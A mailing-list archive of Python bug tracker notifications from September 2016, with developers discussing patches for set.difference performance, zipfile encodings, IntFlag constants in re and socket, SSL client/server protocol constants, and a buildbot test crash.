Date: Sun, 11 Sep 2016 19:53:14 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <1473623594.83.0.242429297633.issue28071@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

New timings look nice:

     $ py -m timeit -s "r = range(10 ** 4); s = set()" "s.difference(r)"
    10000000 loops, best of 3: 0.104 usec per loop
     $ py -m timeit -s "r = set(range(10 ** 4)); s = set()" "s.difference(r)"
    10000000 loops, best of 3: 0.105 usec per loop
     $ py -m timeit -s "r = range(10 ** 4); s = set()" "s.difference_update(r)"
    10000000 loops, best of 3: 0.0659 usec per loop
     $ py -m timeit -s "r = set(range(10 ** 4)); s = set()" "s.difference_update(r)"
    10000000 loops, best of 3: 0.0684 usec per loop

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44565/set_diff_early_out.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:02:41 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 20:02:41 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473624161.26.0.650951172266.issue28080@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This issue is a duplicate of issue10614. But proposed patch looks more ready.

----------
assignee:  -> serhiy.storchaka
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:03:04 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 20:03:04 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473624184.05.0.705573567251.issue28022@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

test_imaplib is failed too.

======================================================================
ERROR: test_logincapa_with_client_certfile (test.test_imaplib.RemoteIMAP_SSLTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/serhiy/py/cpython-debug/Lib/test/test_imaplib.py", line 641, in test_logincapa_with_client_certfile
    _server = self.imap_class(self.host, self.port, certfile=CERTFILE)
  File "/home/serhiy/py/cpython-debug/Lib/imaplib.py", line 1273, in __init__
    "custom ssl_context instead", DeprecationWarning, 2)
DeprecationWarning: keyfile and certfile are deprecated, use acustom ssl_context instead

----------------------------------------------------------------------

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:04:13 2016
From: report at bugs.python.org (Ned Deily)
Date: Sun, 11 Sep 2016 20:04:13 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473624253.45.0.847972814759.issue28080@psf.upfronthosting.co.za>


Ned Deily added the comment:

Stephen, thanks for submitting the patch.  Unless another core developer has time to review and commit this prior to the feature code off tomorrow, this will probably need to wait for 3.7.  Also, at the moment, your tracker user record does not indicate that there is a contributor agreement on file for you.  You could followup on that with Ewa at the PSF or just submit a new form.

----------
nosy: +ned.deily
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:22:57 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 20:22:57 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <20160911202254.21157.73527.7C6AF7D2@psf.io>


Roundup Robot added the comment:

New changeset 04b679dd11eb by Xavier de Gaye in branch 'default':
Issue #28046: get_sysconfigdata_name() uses the _PYTHON_SYSCONFIGDATA_NAME
https://hg.python.org/cpython/rev/04b679dd11eb

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:25:23 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Sun, 11 Sep 2016 20:25:23 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473625523.56.0.957097217938.issue28046@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

Thanks for your help in testing these changes Chi Hsuan Yen.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:28:40 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Sun, 11 Sep 2016 20:28:40 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473625720.21.0.635694205594.issue28080@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

Re: wait for 3.7 if reviewers are busy, understood.  N.B. Contributor agreement is now on file (I received the PDF from python.org already).

Re: existing patches:
My patch is very similar in the basic approach to Sergey Dorofeev's patch in issue10614.  Main differences:
(1) Sergey's patch treats the "encoding" parameter as a first class citizen with a default to cp437, whereas mine treats it as a special case defaulting to None, with utf-8 and cp437 getting special treatment as the standard encodings.  Subtle point, but I like it this way.
(2) My patch includes support for the argument in the __main__ script.
(3) Sergey's patch misses one execution path in the current code so needs update before application.

The Japanese patches by umedoblock are very Japanese-centric, and worse, they try to guess the encoding by the crude method of seeing what decodes successfully.  They are not acceptable IMO.

Aaargh.  Just noticed the Japanese in test_zipfile.py.  Will change it to use \u escapes soon.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:29:30 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 20:29:30 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
Message-ID: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>


New submission from Ethan Furman:

Split from issue23591.

----------
files: issue-re.stoneleaf.02.patch
keywords: patch
messages: 275848
nosy: ethan.furman, serhiy.storchaka
priority: normal
severity: normal
stage: commit review
status: open
title: re: convert re flags to (much friendlier) IntFlag constants
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44566/issue-re.stoneleaf.02.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:30:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 20:30:29 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <20160911203026.69529.36059.A16519E3@psf.io>


Roundup Robot added the comment:

New changeset 223731925d06 by Ethan Furman in branch 'default':
issue28082: use IntFlag for re constants
https://hg.python.org/cpython/rev/223731925d06

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:32:37 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 11 Sep 2016 20:32:37 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473625957.43.0.694710531786.issue28046@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

No No, it's me who should say thank you. Thanks for all efforts on maintaining the Android port of CPython!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:34:18 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 20:34:18 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
Message-ID: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>


New submission from Ethan Furman:

Split from issue23591.

Add IntFlag constants for consistency with IntEnum constants.

----------
files: issue-socket.stoneleaf.01.patch
keywords: patch
messages: 275851
nosy: ethan.furman, serhiy.storchaka
priority: normal
severity: normal
stage: commit review
status: open
title: socket: finish constant to Enum/Flag conversion
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44567/issue-socket.stoneleaf.01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:35:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 20:35:45 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
In-Reply-To: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>
Message-ID: <20160911203542.21095.93366.47520567@psf.io>


Roundup Robot added the comment:

New changeset 4a027e55dae3 by Ethan Furman in branch 'default':
issue28083: add IntFlag constants
https://hg.python.org/cpython/rev/4a027e55dae3

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:47:11 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 20:47:11 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <20160911204709.36379.48589.3FA3EA65@psf.io>


Roundup Robot added the comment:

New changeset 57e88d1159fc by Christian Heimes in branch 'default':
Issue #28022: Catch another deprecation warning in imaplib
https://hg.python.org/cpython/rev/57e88d1159fc

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:59:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 20:59:10 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
In-Reply-To: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>
Message-ID: <1473627550.53.0.214325402663.issue28083@psf.upfronthosting.co.za>


Christian Heimes added the comment:

socketmodule.c has more namespaces. Are you planning to wrap them, too?

NETLINK_
BTPROTO_
SOL_
HCI_
PF_
PACKET_
TIPC_
SCM_
ALG_ (*)
CAN_ (*)
RDS_ (*)
IPPROTO_
IP_
IPV6_
TCP_
EAI_
SHUT_
RCVALL_


(*) constant namespace has sub-namespaces, e,g ALG_SET_ and ALG_OP_

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:00:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 21:00:29 +0000
Subject: [issue14965] super() and property inheritance behavior
In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za>
Message-ID: <1473627629.95.0.228240009138.issue14965@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I had to add a workaround to ssl.SSLContext and would appreciate a better solution.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14965>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:12:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 21:12:50 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473628370.55.0.119357374436.issue28080@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Added comments on Rietveld. Maybe I'll commit rewritten patch tomorrow before 12:00 UTC (oh, already today!).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:23:47 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 21:23:47 +0000
Subject: [issue19003] email.generator.BytesGenerator corrupts data by changing
 line endings
In-Reply-To: <1378885640.45.0.020973506597.issue19003@psf.upfronthosting.co.za>
Message-ID: <20160911212344.13637.9890.7646049C@psf.io>


Roundup Robot added the comment:

New changeset c0f5702e0f10 by R David Murray in branch '3.5':
#19003: Only replace \r and/or \n line endings in email.generator.
https://hg.python.org/cpython/rev/c0f5702e0f10

New changeset ccad4d142934 by R David Murray in branch 'default':
Merge: #19003: Only replace \r and/or \n line endings in email.generator.
https://hg.python.org/cpython/rev/ccad4d142934

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19003>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:24:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 21:24:58 +0000
Subject: [issue28084] Fatal Python error: Py_EndInterpreter: not the last
 thread
Message-ID: <1473629098.61.0.533151135265.issue28084@psf.upfronthosting.co.za>


New submission from Christian Heimes:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%203.x/builds/4966/steps/test/logs/stdio is failing with a fatal Python error:

0:06:13 [224/405/1] test_threading crashed -- running: test_datetime (162 sec)
Fatal Python error: Py_EndInterpreter: not the last thread

Current thread 0x0000000801807400 (most recent call first):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 2450 in run_in_subinterp
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/test_threading.py", line 877 in test_threads_join_2
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/case.py", line 600 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/case.py", line 648 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/runner.py", line 176 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 1815 in _run_suite
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 1849 in run_unittest
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 163 in test_runner
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 164 in runtest_inner
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 119 in runtest
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest_mp.py", line 71 in run_tests_slave
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 475 in _main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 468 in main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 532 in main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/regrtest.py", line 46 in _main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/regrtest.py", line 50 in <module>
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 85 in _run_code
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 193 in _run_module_as_main
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/__main__.py", line 2, in <module>
    main()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 532, in main
    Regrtest().main(tests=tests, **kwargs)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 468, in main
    self._main(tests, kwargs)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 490, in _main
    self.run_tests()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 416, in run_tests
    run_tests_multiprocess(self)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest_mp.py", line 221, in run_tests_multiprocess
    raise Exception(msg)
Exception: Child error on test_threading: Exit code -6
*** [buildbottest] Error code 1

----------
components: Interpreter Core
messages: 275858
nosy: christian.heimes
priority: normal
severity: normal
status: open
title: Fatal Python error: Py_EndInterpreter: not the last thread
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28084>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:27:22 2016
From: report at bugs.python.org (R. David Murray)
Date: Sun, 11 Sep 2016 21:27:22 +0000
Subject: [issue19003] email.generator.BytesGenerator corrupts data by changing
 line endings
In-Reply-To: <1378885640.45.0.020973506597.issue19003@psf.upfronthosting.co.za>
Message-ID: <1473629242.04.0.679911071211.issue19003@psf.upfronthosting.co.za>


R. David Murray added the comment:

I've fixed this to the extent that it is possible without adding support for the 'binary' CTE.  That is, \r, \n, and \r\n are still replaced with the 'correct' line ending characters, which is the correct behavior under the RFCs even for binary data if the CTE is not 'binary'.  Issue 18886 covers the enhancement of supporting the binary CTE.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.5, Python 3.6 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19003>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:32:22 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 11 Sep 2016 21:32:22 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473629542.19.0.174283558048.issue28082@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Guido, is this something you wanted to happen?  I thought you had objected to propagating the four flavors of enum throughout the standard library, particularly for long standing, stable APIs.

AFAICT, no one has ever requested this for the re module, nor is there any demonstrated need.  As a heavy user of regexes, I've have never looked at the flag values (and if I had, it wouldn't have been helpful to hide that these are integer values rather than giving them both a new type and an unattractive appearance:  <Flag.ASCII|IGNORECASE: 258>.  Also,  prior to this change, the re module and its sre components had no external dependencies and did not require any other modules to be loaded in memory to run.

If changes like this do go in, it needs better names (i.e. Flag -> RegexFlag) so that someone using typing doesn't end-up many distinct kinds of integer flags all being called Flag.

----------
assignee:  -> gvanrossum
nosy: +gvanrossum, rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:53:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 21:53:25 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <20160911215322.48632.53367.58D528F8@psf.io>


Roundup Robot added the comment:

New changeset 51b635e81958 by Serhiy Storchaka in branch 'default':
Issue #27213: Fixed different issues with reworked CALL_FUNCTION* opcodes.
https://hg.python.org/cpython/rev/51b635e81958

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:54:39 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 21:54:39 +0000
Subject: [issue28085] SSL: Add client and server protocols for SSLContext
Message-ID: <1473630879.3.0.622304028726.issue28085@psf.upfronthosting.co.za>


New submission from Christian Heimes:

In ticket #28022 and in thread https://mail.python.org/pipermail/python-dev/2016-September/146366.html I discussed two new protocols for SSLContext: PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER. A SSLContext with PROTOCOL_TLS_CLIENT can only create connections to a server but cannot wrap server sockets. We can use it to have better defaults (e.g. cert validation and hostname verification for client side) and to make it impossible to confuse a server context with a client context. In the long run I'm planning to deprecate all but PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER.

---
Finally (and this is the biggest) I like to change how the protocols
work. OpenSSL 1.1.0 has deprecated all version specific protocols. Soon
OpenSSL will only support auto-negotiation (formerly known as
PROTOCOL_SSLv23). My patch #26470 added PROTOCOL_TLS as alias for
PROTOCOL_SSLv23. If the last idea is accepted I will remove PROTOCOL_TLS
again. It hasn't been released yet. Instead I'm going to add
PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER (see
https://www.openssl.org/docs/manmaster/ssl/SSL_CTX_new.html
TLS_server_method(), TLS_client_method()). PROTOCOL_TLS_CLIENT is like
PROTOCOL_SSLv23 but only supports client-side sockets and
PROTOCOL_TLS_SERVER just server-side sockets. In my experience we can't
have a SSLContext with sensible and secure settings for client and
server at the same time. Hostname checking and cert validation is only
sensible for client-side sockets.
---

----------
assignee: christian.heimes
components: Extension Modules
messages: 275862
nosy: christian.heimes
priority: normal
severity: normal
stage: patch review
status: open
title: SSL: Add client and server protocols for SSLContext
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28085>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:54:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 21:54:46 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <20160911215444.59674.40119.612E4A86@psf.io>


Roundup Robot added the comment:

New changeset 7369ec91d0f7 by Ethan Furman in branch 'default':
issue28082: better name for Flag
https://hg.python.org/cpython/rev/7369ec91d0f7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:55:46 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 21:55:46 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473630946.84.0.0101328565799.issue28082@psf.upfronthosting.co.za>


Ethan Furman added the comment:

The patch was initially from Serhiy as part of issue23591.  So it's safe to say at least one person requested it, and a core dev at that.

I will happily make it two people: as an occasional user of re having the constants be named makes it much easier for me to use; I daresay that is true for other occasional users.  IIRC giving names to numbers was one of the motivating factors in having Enum in the first place.

I do agree that RegexFlag is a better name -- I wasn't real happy with Flag but didn't want to miss the cutoff.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:01:36 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 22:01:36 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473631296.31.0.683443381419.issue28082@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

re flags was the primary motive of introducing general IntFlags. This would help to handle frequent user error. Original issue is issue11957.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:02:01 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 22:02:01 +0000
Subject: [issue28085] SSL: Add client and server protocols for SSLContext
In-Reply-To: <1473630879.3.0.622304028726.issue28085@psf.upfronthosting.co.za>
Message-ID: <20160911220158.87575.97661.75DF51C9@psf.io>


Roundup Robot added the comment:

New changeset 3ea641343244 by Christian Heimes in branch 'default':
Issue #28085: Add PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER for SSLContext
https://hg.python.org/cpython/rev/3ea641343244

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28085>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:05:05 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 22:05:05 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
In-Reply-To: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>
Message-ID: <1473631505.34.0.676543228047.issue28083@psf.upfronthosting.co.za>


Ethan Furman added the comment:

I don't have enough socket experience to know which constants should go into what groups and what those groups should be called.  So far my involvement has been to switch other's patches to use Enum._convert instead of "globals().update(Enum.__members__)".  (This last patch was from Serhiy.)

I am not opposed, though.  ;)

If Larry is okay with adding those during beta 1 I can work on it, but there's no way I could get it done before tomorrow.

----------
nosy: +larry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:06:05 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 22:06:05 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
In-Reply-To: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>
Message-ID: <1473631565.51.0.915050191285.issue28083@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Still need to update docs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:07:26 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 22:07:26 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473631646.39.0.866696570483.issue28082@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Note: still need to update docs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:09:17 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 22:09:17 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
In-Reply-To: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>
Message-ID: <1473631757.21.0.104340109003.issue28083@psf.upfronthosting.co.za>


Christian Heimes added the comment:

You have to as Ned, not Larry. :)

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:09:45 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 22:09:45 +0000
Subject: [issue28085] SSL: Add client and server protocols for SSLContext
In-Reply-To: <1473630879.3.0.622304028726.issue28085@psf.upfronthosting.co.za>
Message-ID: <1473631785.51.0.634407437553.issue28085@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I pushed basic support for PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER in 3ea641343244. I have another patch that removes PROTOCOL_TLS again and changes create_default_context() to return either a server and client SSLContext. The change is a small possibility to break code that used the create_default_context() in a wrong way.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28085>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:11:00 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 22:11:00 +0000
Subject: [issue11957] re.sub confusion between count and flags args
In-Reply-To: <1304101630.86.0.175815070517.issue11957@psf.upfronthosting.co.za>
Message-ID: <1473631860.73.0.906062991422.issue11957@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
nosy: +ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11957>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:22:25 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sun, 11 Sep 2016 22:22:25 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473632545.77.0.368640270216.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Fair enough; I can see why such an addition would be a good idea. But please open a new issue for that (add me to nosy); I don't want this issue to be further cluttered.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:21:26 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sun, 11 Sep 2016 22:21:26 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
